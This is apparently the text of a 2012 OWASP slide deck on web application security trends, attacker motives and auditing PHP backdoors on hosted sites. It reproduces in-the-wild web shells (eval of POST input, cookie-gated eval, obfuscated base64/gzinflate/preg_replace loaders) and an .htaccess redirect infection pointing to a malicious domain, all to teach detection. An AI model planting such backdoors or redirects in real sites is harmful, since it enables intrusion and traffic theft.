The state of web application security

Robert Rowley
DreamHost
Robert.Rowley@DreamHost.com

OWASP
2012

Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.

The OWASP Foundation
http://www.owasp.org
Break Down

- Attack Trends
- Attacker Motivation
- Auditing Backdoors
Trend data sets

- 26 Million records.
- Time frame: August 2011 – March 2012
- Collected via WAF (mod_security)
Attacks!
Breaking it down
Life-cycle of an exploit
Life-cycle of an exploit
Life-cycle of an exploit

Infancy

Puberty

Maturity
Source of this trend...

- Attacks are automated.
  - Lead time for attack code update.

- Successful compromise adds a new node.
  - This creates an exponential growth.
**Attack Response**

- Notify the ISP's abuse desk
- 90(ish) ISPs notified each day
- Most are non-responsive to the report.
Attack sources

- Home/Business ISP (20%)
- Hosting/Datacenter (80%)
Find an exploit? Do the right thing.

- Bounty programs (facebook, google)
- Responsible disclosure
Attacker Motivation

?
Attacker Motivation

$
0-day to Pay-day

- Install backdoors
- Sell access to backdoors on the black market
  - Phishing
  - Spam
  - BlackHat SEO
  - Traffic Theft
- Install more backdoors
Payday

- Phishing
  - Identity/Password theft

http://site/some_dir/www.bankingsite.com/
Payday

- Spam
- Everyone knows this already
Payday

- BlackHat SEO
- Hidden links injected on site
- Redirect visitors
Payday

■ Traffic Theft

■ Javascript/Iframe/other
■ Redirect site traffic to malicious pages (malware installs)
Payday

- Install Backdoors

- Why not?

- Backdoor on backdoor action
Little more on traffic theft.

- Q1 2012 we noticed an influx of these
- Actions were taken, data was recorded
Example .htaccess infection:

ErrorDocument 404 http://congatarcxisi.ru/

RewriteCond %{HTTP_REFERER} ^.*(google|yahoo|...)
RewriteRule ^(.*)$ http://congatarcxisi.ru/ [R=301,L]
Collection

- Pulled the remote site from any .htaccess similar to the previous example.
- 1000 unique domains found

- Let's break it down
SiteCheck report

- Safe (2%)
- Low Risk (29%)
- Malicious (31%)
- Unknown (38%)
TLD

- .ru  (64%)
- .com (14%)
- .info ( 8%)
- .in   ( 8%)
- .org  ( 3%)
- .net  ( 2%)
- other ( 1%)
Registrars

- Reg.ru (50%)
- Directi (18%)
- Other (18%)
- GoDaddy (13%)
IP address

- Other (33%)
- 208.87.35.103 (22%)
- 94.63.149.246 (10%)
- 208.73.210.29 (9%)
- 69.43.161.154 (5%)
- 221.132.34.163 (5%)
- 95.211.131.185 (4%)
- 74.117.116.96 (4%)
- 94.63.149.247 (2%)
- 79.137.226.90 (2%)
- 69.165.98.21 (2%)
- 194.28.114.102 (2%)
A little about incident response
Response breakdown

- Immediate mitigation
  - Put out the fire
  - Review

- Long term fixes
  - Correct business policy
  - Secure code and/or configurations
  - Etc...
Make your kung fu stronger.

- Monitoring
- Vulnerability released, Incident
- Assessment, Incident Response
- Evaluation, Update
Make your kung fu stronger.
Auditing nitty gritty

- File monitoring (you did this right?)
- Logs (correlate timestamps)
- Logs (sort by request!)
- No logs? Malware detection by hand
**FileSystem Monitoring**

- Part of your backups.
  - Just use rsync
- Inotify (kernel level)
- Tripwire (daemon/service)
- DIY
Digging in with timestamps.

```
$ ls -la omgfire.com/backdoor.php
-rw-rw-r-- 1 user grp 0 **Feb 13 21:52** omgfire.com/backdoor.php

$ grep **21:52:** logs/omgfire.com/access.log.2012-02-13
123.125.71.31 - - [13/Feb/2012:**21:52:**53 -0800]
"POST /wp-content/plugins/hello.php HTTP/1.1" 200 158 "-" "Mozilla"
```
Digging in with HTTP logs

$ awk '{print $7}' access.log | sort | uniq -c | sort -n
Digging in with HTTP logs

$ awk '{print $7}' access.log | sort | uniq -c | sort -n

1 /phpMyAdmin-2.2.3/index.php
1 /phpMyAdmin-2.5.5-pl1/index.php
1 /phpMyAdmin-2.5.5/index.php
1 /phpMyAdmin-2.5.6-rc2/index.php
1 /phpMyAdmin/index.php
1 /pma/index.php
1 /web/phpMyAdmin/index.php
1 /websql/index.php
2 /phpmyadmin/index.php
4 /robots.txt

242 /
No success?

- Let's get into some backdoor auditing
- These backdoors were found in the wild

- Show you what to look for
- Learn more about the attacker's methods
Backdoors

- Plaintext
- Base64 decode
- Preg_replace
- and beyond!!!
Dead Simple

<?php
eval($_POST['payload']);
?>
Some Authentication

if(md5($_COOKIE['be80d91eb9db4ffa'])
== "e8fa67e99b7e07e9e699f8c3d1dbb43d")
{
    eval($_POST['payload']);
    exit;
}


Well Documented

```php
###cfg###
# use password true / false #
$create_password = true;
$password = "mugus"; // default password

###UNIX COMMANDS
# description (nst) command
# example: Shutdown (nst) shutdown -h now

###ver###
$ver = "v2.1";

###

$pass = $_POST['pass'];
if ($pass == $password) { ...
```
Base64 decode

eval(base64_decode('JGF1dGhfcGFzcyA9IC...')
Base64 decode

eval(base64_decode('JGF1dGhfcGFzcyA9IC..."

My favorite way to handle them:

sed s/eval/print/g < inputfile > outputfile

print(base64_decode('JGF1dGhfcGFzcyA9IC..."

PHP parser outputs:

$auth_pass = "35a93487bc9204c..."
GZinflate

```php
<?
error_reporting(0);
echo "ok!";
$code = "xZbNYaMwFFP3lfoO7JJHwnXa ... ";
@eval(gzinflate(base64_decode($code)));
?>
```
Gold star for trying ...
Regex revenge

`preg_replace("/.*\e","\x65\x76\x61\x6C\x28\x67. ..`
Regex revenge

preg_replace("/.*\e","\x65\x76\x61\x6C\x28..\n65 = e
76 = v
61 = a
6C = l
28 = (
Variables as functions

$HixNlV='as';$eQovrf='e';$xsEWcg=$HixNlV.'s'.$eQovrf.'r'.t';$HtJYXB='b'.$HixNlV.$eQovrf.(64).'_'.d'.$eQovrf.'c'.o'.d'.$eQovrf;
@$xsEWcg(@$HtJYXB('ZXZhbChnemluZm...
Variables as functions

$HixNlV='as';$eQovrf='e';$xsEWcg=$HixNlV.'s'.$eQovrf.'r.'.'t';$HtJYXB='b'.$HixNlV.$eQovrf.(64).'_'. 'd'.$eQovrf.'c'. 'o'. 'd'.$eQovrf;
@$xsEWcg(@$HtJYXB('ZXZhbChnemluZm...

assert(base64_decode('ZXZhbChnemluZm...
Uhm what...

$FR='sFwFLOzO'|~OU;
$cYqFBI=r7bSCQ&'J|Ok@V';
$z3X0fdta1Nz="c>_"&'Q7[';
$kg6i=#qfapJag'.']/=nX/'^'8'.KyK6.'{';
$iZBTF=Isrc.'<'.Smef&srzI.'='.VmqH;
Itty Bitty Bitwise Operators

$FR='sFwFLOzO' | ~OU;
$cYqFBi=r7bSCQ & 'J|Ok@V';
$z3X0fdta1Nz="c>_" & 'Q7[';
$kg6i=#qfapJag'.']/=nX/"^'8'.KyK6.'{';
$iZBTF=lsrc.'<'.Smef & srzI.':'.VmqH;
Backdoor Conclusions

- Attackers are evolving their code
- Fingerprinting can be untrustworthy
- You should monitor your filesystem
Thank you

- OWASP
- DreamHost & DreamHost customers
- Trustwave (mod_security)
Further Reading

- Mikko Hypponen (TED talks)
- http://blog.spiderlabs.com
- http://blog.dreamhost.com/category/security

Want to follow up?
Email: robert.rowley@dreamhost.com